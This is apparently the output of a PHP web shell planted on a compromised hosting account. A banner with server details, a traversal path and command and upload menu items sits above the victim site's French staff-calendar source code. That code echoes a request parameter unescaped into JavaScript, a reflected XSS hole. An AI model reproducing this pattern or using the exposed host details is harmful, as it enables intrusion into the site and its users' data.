|
Server IP : 10.128.40.6 / Your IP : 216.73.216.180 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/TEST/../MC/temp/12650/../1322/../../../mcg/.github/../pages/code/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
// echo date('Ymd');
$salarie_id = 2543;
if(isset($_GET['salarie_id']))
$salarie_id = $_GET['salarie_id'];
if(isset($_POST['salarie_id']))
$salarie_id = $_POST['salarie_id'];
if(isset($_GET['date']))
{
$year = $month = $day = 0;
list($year ,$month, $day) = split('[/.-]', $_GET['date'] );
if( $year >= 1900 and $year <= (date('Y')+1) and $month >=1 and $month <=12 )
$datecal = "$year-$month-01";
else
$datecal = date('Y-m-01');
}
else
$datecal = date('Y-m-01');
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>LogMCPRO | Prestations</title>
<!-- Tell the browser to be responsive to screen width -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Font Awesome -->
<link rel="stylesheet" href="../plugins/fontawesome-free/css/all.min.css">
<!-- Ionicons -->
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<!-- Select2 -->
<link rel="stylesheet" href="../plugins/select2/css/select2.min.css">
<link rel="stylesheet" href="../plugins/select2-bootstrap4-theme/select2-bootstrap4.min.css">
<!-- fullCalendar -->
<link rel="stylesheet" href="../plugins/fullcalendar/main.min.css">
<link rel="stylesheet" href="../plugins/fullcalendar-daygrid/main.min.css">
<link rel="stylesheet" href="../plugins/fullcalendar-timegrid/main.min.css">
<link rel="stylesheet" href="../plugins/fullcalendar-bootstrap/main.min.css">
<!-- Theme style -->
<link rel="stylesheet" href="../dist/css/adminlte.min.css">
<!-- Google Font: Source Sans Pro -->
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
</head>
<body class="hold-transition sidebar-mini">
<div class="wrapper">
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<!-- Menu extensible -->
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
<!-- liens TOP MENU GAUCHE-->
<li class="nav-item d-none d-sm-inline-block">
<a href="index.php" class="nav-link">Accueil</a>
</li>
<li class="nav-item d-none d-sm-inline-block">
<a href="#" class="nav-link">Lien 1</a>
</li>
<li class="nav-item d-none d-sm-inline-block">
<a href="#" class="nav-link">Lien 2</a>
</li>
</ul>
<!-- liens TOP MENU DROITE -->
<ul class="navbar-nav ml-auto">
<!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
</nav> <!-- fin du TOP MENU -->
<?php include('menu.php'); ?>
<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<section class="content-header">
<div class="container-fluid">
<div class="row mb-2">
<div class="col-sm-6">
<h1>Planning</h1>
</div>
<div class="col-sm-6">
<ol class="breadcrumb float-sm-right">
<li class="breadcrumb-item"><a href="#">Home</a></li>
<li class="breadcrumb-item active">Calendar</li>
</ol>
</div>
</div>
</div><!-- /.container-fluid -->
</section>
<!-- Main content -->
<section class="content">
<div class="container-fluid">
<div class="row">
<!-- /.col -->
<div class="col-md-12">
<div class="card card-primary">
<div class="col-md-6">
<div class="form-group ">
<form method='POST' action=''>
<label>Salarier </label>
<select class="form-control select2" style="width: 100%;" name="salarie_id" id="salarie_id">
<?php $req =dbi_query("SELECT * FROM salarie WHERE salarie_statut = '1' ORDER BY `salarie`.`salarie_nom` ASC") ;
while( $sal=dbi_fetch_row($req)) { ?>
<option value="<?php echo $sal['salarie_id'] ; ?>" <?php if($sal['salarie_id'] == $salarie_id) echo "selected"; ?>><?php echo $sal['salarie_id'].' '.$sal['salarie_nom']." ".$sal['salarie_prenom']; ?></option>
<?php } ?>
</select>
<input name="date" type ="hidden" value='<?php echo $datecal; ?>' />
</form>
</div>
</div>
<div class="card-body p-0">
<!-- THE CALENDAR -->
<div id="calendar"></div>
</div>
<!-- /.card-body -->
</div>
<!-- /.card -->
</div>
<!-- /.col -->
</div>
<!-- /.row -->
</div><!-- /.container-fluid -->
</section>
<!-- /.content -->
</div>
<!-- /.content-wrapper -->
<footer class="main-footer">
<div class="float-right d-none d-sm-block">
<b>Version</b> 3.0.2
</div>
<strong>Copyright © 2014-2019 <a href="http://adminlte.io">AdminLTE.io</a>.</strong> All rights
reserved.
</footer>
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->
<!-- jQuery -->
<script src="../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap -->
<script src="../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- jQuery UI -->
<script src="../plugins/jquery-ui/jquery-ui.min.js"></script>
<!-- AdminLTE App -->
<script src="../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../dist/js/demo.js"></script>
<!-- Select2 -->
<script src="../plugins/select2/js/select2.full.min.js"></script>
<!-- fullCalendar 2.2.5 -->
<script src="../plugins/moment/moment.min.js"></script>
<script src="../plugins/fullcalendar/main.min.js"></script>
<script src="../plugins/fullcalendar-daygrid/main.min.js"></script>
<script src="../plugins/fullcalendar-timegrid/main.min.js"></script>
<script src="../plugins/fullcalendar-interaction/main.min.js"></script>
<script src="../plugins/fullcalendar-bootstrap/main.min.js"></script>
<script src='../plugins/fullcalendar/locales/fr.js'></script>
<!-- Page specific script -->
<script>
$(document).ready(function() {
var datecal = "<?php echo $datecal; ?>";
var salarie_id = "<?php echo $salarie_id; ?>";
// alert(datecal);
let calendarEl = document.getElementById('calendar');
let calendar = new FullCalendar.Calendar(calendarEl, {
locale: 'fr',
plugins: [ 'bootstrap', 'interaction', 'dayGrid', 'timeGrid' ],
firstDay: 1,
defaultDate: datecal,
showNonCurrentDates: false,
fixedWeekCount: false,
header : {
left : 'prev,next today',
center: 'title',
right : 'dayGridMonth,timeGridWeek,timeGridDay'
},
// titleFormat: { // will produce something like "Tuesday, September 18, 2018"
// month: 'long',
// year: 'numeric',
// day: 'numeric',
// weekday: 'long'
// },
events: 'splanning.php?date='+datecal+'&salarie_id='+salarie_id,
selectable:true,
selectHelper:true,
editable:false,
// events: [{"id":"99844","title":" BENSMAIN","start":"2020-07-02 10:00:00","end":"2020-07-02 11:00:00","date":"20200702"},{"id":"99305","title":" SILVA PINA","start":"2020-07-03 11:00:00","end":"2020-07-03 13:00:00","date":"20200703"},{"id":"136025","title":" THIAM","start":"2020-07-05 14:00:00","end":"2020-07-05 17:00:00","date":"20200705"},{"id":"99844","title":" BENSMAIN","start":"2020-07-09 10:00:00","end":"2020-07-09 11:00:00","date":"20200709"},{"id":"99305","title":" SILVA PINA","start":"2020-07-10 11:00:00","end":"2020-07-10 13:00:00","date":"20200710"},{"id":"136025","title":" THIAM","start":"2020-07-12 14:00:00","end":"2020-07-12 17:00:00","date":"20200712"},{"id":"99844","title":" BENSMAIN","start":"2020-07-16 10:00:00","end":"2020-07-16 11:00:00","date":"20200716"},{"id":"99305","title":" SILVA PINA","start":"2020-07-17 11:00:00","end":"2020-07-17 13:00:00","date":"20200717"},{"id":"136025","title":" THIAM","start":"2020-07-19 14:00:00","end":"2020-07-19 17:00:00","date":"20200719"},{"id":"99844","title":" BENSMAIN","start":"2020-07-23 10:00:00","end":"2020-07-23 11:00:00","date":"20200723"},{"id":"136025","title":" THIAM","start":"2020-07-26 14:00:00","end":"2020-07-26 17:00:00","date":"20200726"},{"id":"99844","title":" BENSMAIN","start":"2020-07-30 10:00:00","end":"2020-07-30 11:00:00","date":"20200730"}],
});
calendar.setOption('locale', 'fr');
calendar.render();
// function GetCalendarDateRange() {
// var calendar = $('#calendar').fullCalendar('getCalendar');
// var view = calendar.view;
// var start = view.start._d;
// var end = view.end._d;
// var dates = { start: start, end: end };
// return dates;
// }
$('.fc-prev-button').click(function(){
var date = calendar.getDate().toLocaleDateString();
var date1 = date.substr(6, 4)+ date.substr(3, 2);
var date2 = datecal.substr(0, 4)+ datecal.substr(5, 2);
if(date1 != date2)
{
var datec = date.substr(6, 4)+ '-' +date.substr(3, 2)+ '-' +date.substr(0, 2);
window.location.href = "calendar.php?date="+datec+'&salarie_id='+salarie_id;
}
});
$('.fc-today-button').click(function(){
var date = calendar.getDate().toLocaleDateString();
var date1 = date.substr(6, 4)+ date.substr(3, 2);
var date2 = datecal.substr(0, 4)+ datecal.substr(5, 2);
if(date1 != date2)
{
var datec = date.substr(6, 4)+ '-' +date.substr(3, 2)+ '-' +date.substr(0, 2);
window.location.href = "calendar.php?date="+datec+'&salarie_id='+salarie_id;
}
});
$('.fc-next-button').click(function(){
var date = calendar.getDate().toLocaleDateString();
var date1 = date.substr(6, 4)+ date.substr(3, 2);
var date2 = datecal.substr(0, 4)+ datecal.substr(5, 2);
if(date1 != date2)
{
var datec = date.substr(6, 4)+ '-' +date.substr(3, 2)+ '-' +date.substr(0, 2);
window.location.href = "calendar.php?date="+datec+'&salarie_id='+salarie_id;
}
});
$('#salarie_id').on('change',function(){
// alert('OK');
$('form').submit();
});
});
// window.location.href = "calendar.php?date="+datecal;
// alert(date);
// var date = calendar.getDate();
// date = date.toISOString();
// date = date.substring(0, 10);
// date = date.substring(0, 7);
// var date1 = date.substr(0, 4)+ date.substr(5, 2);
// var date2 = datecal.substr(0, 4)+ datecal.substr(5, 2);
// var date1 = date.substr(0, 4)+ date.substr(5, 6);
// var date2 = datecal.substr(0,4) + datecal.substr(4,4);
// date3 = datecal.toISOString();
// date3 = date3.substring(0, 7);
// date2 = date.substring(0, 08)+'31';
// alert(date1+' ** '+date2);
// var date = calendar.getDate().toString();
// date = date.toISOString();
// var date1 = date.substr(0, 4)+ date.substr(5, 2);
// alert(date);
// var date = calendar.getDate();
// alert(date);
// var date = calendar.getDate();
// date = date.toISOString();
// date = date.substring(0, 10);
// window.location.href = "calendar.php?date="+date;
// $('.fc-next-button').click(function(){
// var date = calendar.getDate().toLocaleDateString();
// date = date.toISOString();
// var date1 = date.substr(0, 4)+ date.substr(5, 2);
// alert(date);
// alert(date1);
// .fullCalendar('gotoDate', date.getFullYear(), date.getMonth(), date.getDate())
// var calendar = $('#calendar').fullCalendar('getCalendar');
// var view = calendar.view;
// var start = view.start._d;
// var end = view.end._d;
// var dates = { start: start, end: end };
// alert( date);
// alert( calendar.getCalendar();
// var date = calendar.getDate();
// date = date.toISOString();
// date = date.substring(0, 7);
// var date2 = datecal.substr(0, 4)+ datecal.substr(5, 2);
// alert(date1+' ** '+date2);
// var date1 = date.substr(0, 4)+ date.substr(5, 6);
// var date2 = datecal.substr(0,4) + datecal.substr(4,4);
// date3 = datecal.toISOString();
// date3 = date3.substring(0, 7);
// date2 = date.substring(0, 08)+'31';
// var datecal = calendar.getDate();
// datecal = datecal.toISOString();
// datecal = datecal.substring(0, 10);
// var salarie_id = "<?php echo $salarie_id; ?>";
// var date = calendar.getDate();
// date = date.toISOString();
// date = date.substring(0, 10);
// window.location.href = "calendar.php?date="+date;
// });
</script>
<script>
$(function () {
//Initialize Select2 Elements
$('.select2').select2()
//Initialize Select2 Elements
$('.select2bs4').select2({
theme: 'bootstrap4'
})
})
</script>
</body>
</html>
